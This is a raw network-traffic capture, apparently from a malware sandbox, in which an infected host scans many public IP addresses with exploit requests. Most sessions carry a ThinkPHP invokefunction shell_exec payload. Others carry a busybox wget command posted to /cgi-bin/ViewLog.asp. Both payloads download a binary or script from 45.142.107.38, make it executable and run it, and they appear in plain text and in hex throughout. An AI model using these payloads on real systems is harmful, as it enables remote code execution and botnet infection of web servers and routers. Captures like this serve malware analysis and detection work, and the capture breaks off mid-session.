Mar 4, 2024 15:06:02.429986954 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:06:02 GMT Date: Mon, 04 Mar 2024 14:06:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 36 66 63 36 34 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 31 36 32 26 23 34 36 3b 31 63 65 63 30 35 31 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d6fc645f.1709561162.1cec051c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	35128	112.167.108.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.726285934 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	32802	95.217.114.233	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.915133953 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:04.103852034 CET	406	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:04 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	42544	95.228.253.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.915369034 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:04.105421066 CET	450	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	45996	95.214.104.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.918521881 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:04.110707045 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 04 Mar 2024 14:06:04 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	37976	95.84.173.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.934046984 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:04.140486956 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Mon, 04 Mar 2024 14:06:03 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	35494	95.165.32.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:03.943603992 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:04.158910036 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Mon, 04 Mar 2024 14:05:55 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	40148	112.187.20.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:04.740187883 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:05.042483091 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 22:01:15 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	46036	62.84.126.209	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:07.359862089 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:08.535164118 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:08.745904922 CET	326	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.21.0 Date: Mon, 04 Mar 2024 14:06:08 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.21.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	49512	62.29.90.248	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:07.359941006 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:08.535161972 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:09.911091089 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:12.855099916 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:18.487189054 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:29.495084047 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:53.303047895 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:38.359000921 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	33526	95.158.177.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.368141890 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:08.583291054 CET	446	IN	HTTP/1.1 401 Unauthorized Date: Mon, 04 Mar 2024 14:06:07 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close WWW-Authenticate: Basic realm="WF2419E" user" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	39558	94.121.153.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.368182898 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	36124	62.29.126.167	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.368221998 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	39168	94.122.77.71	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.369558096 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	39182	94.123.118.199	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.593749046 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	42360	94.123.113.2	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:08.804279089 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	32778	95.86.94.119	8080

Timestamp	Bytes transferred	Direction	Data
